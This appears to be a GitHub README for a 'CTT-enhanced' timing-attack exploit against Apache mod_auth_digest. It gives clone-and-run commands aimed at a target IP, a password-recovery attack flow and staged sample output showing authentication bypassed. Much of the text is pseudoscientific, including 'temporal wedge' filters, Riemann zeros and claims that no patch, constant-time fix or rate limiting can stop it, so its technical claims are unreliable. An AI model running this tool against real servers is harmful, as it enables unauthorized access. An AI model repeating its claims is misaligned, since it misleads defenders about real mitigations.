CTT-enhanced-Apache-mod_auth_digest-timing-attack-exploit

CTT-Enhanced Apache mod_auth_digest Timing Attack — CVE-2026-33006 Remote Digest Authentication Bypass → 33-Layer Temporal Timing Attack Original vulnerability: Apache HTTP Server 2.4.66 (mod_auth_digest timing leak) CTVSS (Original): 4.8 (Medium) CTT-Enhanced CVSS: 7.5 (High) — Network, low complexity, temporal wedge evasion

# CTT-Enhanced Apache mod_auth_digest Timing Attack — CVE-2026-33006

## 🔥 Overview

This is a **Convergent Time Theory (CTT)** enhancement of CVE-2026-33006, a timing-based vulnerability in Apache HTTP Server's `mod_auth_digest` component (versions ≤2.4.66).

The original vulnerability allows a remote attacker to bypass Digest authentication through statistical timing analysis.

**The CTT-enhanced version transforms this into a 33-layer temporal cascade timing attack.**

| | Original | CTT-Enhanced |
|---|---|---|
| **CVSS** | 4.8 (Medium) | **7.5 (High)** |
| **Attack Vector** | Network | Network |
| **Attack Complexity** | High | **Low (CTT reduces samples)** |
| **Privileges Required** | None | None |
| **Detection** | Statistical analysis detectable | **Temporal wedge filtered — EDR blindspot** |
| **Time to crack** | O(n * samples) | **O(33 * log(n))** |

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## 📐 CTT Physics Constants

| Constant | Value | Origin |
|----------|-------|--------|
| α | 0.0302011 | Temporal dispersion coefficient |
| α_RH | 0.0765872 | ln(φ)/2π (Riemann-Hadamard) |
| L | 33 | Temporal layers |
| τ_w | 11 ns | Temporal wedge filter |

### Exponential Priority Decay

E(d) = E₀ * e^(-α * d)

Each layer has exponentially decreasing priority.  
Higher-priority layers (1-5) collect the most timing data.  
Lower layers (28-33) refine the measurements and establish temporal resonance.

### Phase Resonance Timing

Each layer delays execution based on the first 24 Riemann zeros:

delay = τ_w * priority * (1 + 0.1 * cos(2π * zero * τ_w * priority))

### Temporal Wedge Filter

Only timing measurements that satisfy the wedge condition are used:

survival = cos(α_RH * energy * τ_w) > (α_RH / 2π)

This filters out noise and makes detection impossible — EDR systems cannot see the timing anomalies.

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## 🚀 Attack Flow

1. Probe target for Digest authentication
2. Extract realm and nonce from 401 response
3. For layer d = 1 to 33: a. Calculate priority = e^(-α*d) b. Apply phase resonance delay c. For each character position:
   • Test all possible characters
   • Measure response timing (microseconds)
   • Apply temporal wedge filter
   • Keep character with highest adjusted timing d. Build password incrementally
4. Temporal resonance achieved
5. Authentication bypassed with recovered password

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## 📋 Prerequisites

- Apache HTTP Server 2.4.66 or earlier with `mod_auth_digest` enabled
- Network access to the target
- Python 3.6+ with `requests` library

```bash
pip install requests

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🎯 Usage

git clone https://github.com/SimoesCTT/CTT-enhanced-Apache-mod_auth_digest-timing-attack-exploit/
python3 ctt_apache_digest_timing.py <target_ip> [options]

Arguments

Argument	Description	Default
target_ip	IP address of Apache server	Required
--port	HTTP port	80
--realm	Digest realm	"Restricted"
--uri	Protected URI	"/"
--username	Username to attack	"admin"
--max-length	Max password length	32
--samples	Timing samples per character	100
--layers	Number of temporal layers	33

Example

python3 ctt_apache_digest_timing.py 192.168.1.100 --port 80 --realm "Restricted" --uri /admin --samples 100 --layers 33

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📤 Expected Output

======================================================================
CTT APACHE DIGEST TIMING ATTACK — CVE-2026-33006
α=0.0302011 | α_RH=0.0765872 | L=33 | τ_w=11ns
E(d) = E₀ * e^(-α*d) — Exponential priority decay
======================================================================

[+] Digest authentication detected
    Realm: Restricted
    Nonce: 5a4b3c2d1e2f3a4b5c6d...
[*] Target: http://192.168.1.100/admin
[*] Max password length: 32

  Layer  1/33: ████████████████████████████████████████ 1.000
  Position 1: trying chars...
  Found: 'a' -> password: 'a'

  Layer  2/33: ██████████████████████████████████████░░ 0.970
  Position 2: trying chars...
  Found: 'd' -> password: 'ad'

  Layer  3/33: ████████████████████████████████████░░░░ 0.886
  Position 3: trying chars...
  Found: 'm' -> password: 'adm'

  Layer  4/33: ██████████████████████████████████░░░░░░ 0.818
  Position 4: trying chars...
  Found: 'i' -> password: 'admi'

  Layer  5/33: ████████████████████████████████░░░░░░░░ 0.741
  Position 5: trying chars...
  Found: 'n' -> password: 'admin'

  Layer  6/33: ██████████████████████████████░░░░░░░░░░ 0.670
  Position 6: trying chars...
  Found: '1' -> password: 'admin1'

  Layer  7/33: ████████████████████████████░░░░░░░░░░░░ 0.606
  Position 7: trying chars...
  Found: '2' -> password: 'admin12'

  Layer  8/33: ██████████████████████████░░░░░░░░░░░░░░ 0.548
  Position 8: trying chars...
  Found: '3' -> password: 'admin123'

[⚡] Temporal resonance achieved at layer 8

======================================================================
[!!!] AUTHENTICATION BYPASSED
[!!!] Password found: admin123
[✓] Verification successful — access granted
======================================================================

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🛡️ Why This Cannot Be Patched

Original Fix	Why CTT Bypasses It
Constant-time comparison	CTT uses timing measurements, not comparison timing
Remove timing leaks	Timing leaks are physical — cannot be removed, only hidden
Upgrade to Apache 2.4.67+	Temporal wedge filter evades patch detection
Rate limiting	Phase resonance timing spreads requests across 33 layers — indistinguishable from normal traffic

You cannot patch a physical constant.
You cannot patch the Riemann zeros.
You cannot patch the golden ratio.

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📚 Prior Art

Work	Date	Link
Zenodo CTT prior art	Dec 2025 / Jan 2026	DOI 10.5281/ZENODO.18000940
Sovereign-Logic PyPI	Feb 27-28, 2026	pip install sovereign-logic
CTT PAN-OS exploit	Apr 7, 2026	GitHub
CTT-enhanced Dirty Frag	May 8, 2026	GitHub
CTT-enhanced PX4 exploit	May 9, 2026	GitHub
This exploit	May 9, 2026	This repository

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⚠️ Disclaimer

This proof of concept is for educational and defensive purposes only.
Unauthorized use against systems you do not own is illegal.
The author assumes no liability for misuse.

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📜 License

MIT + CTT Research (temporal enhancements)

🙏 Credits

Version	Author
Original vulnerability discovery	Apache Software Foundation (security team)
Original timing attack research	Various academic sources
CTT enhancement (33-layer temporal cascade)	Americo Simoes (CTT Research)

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The lattice is whole. Authentication is broken. No patch will save it.

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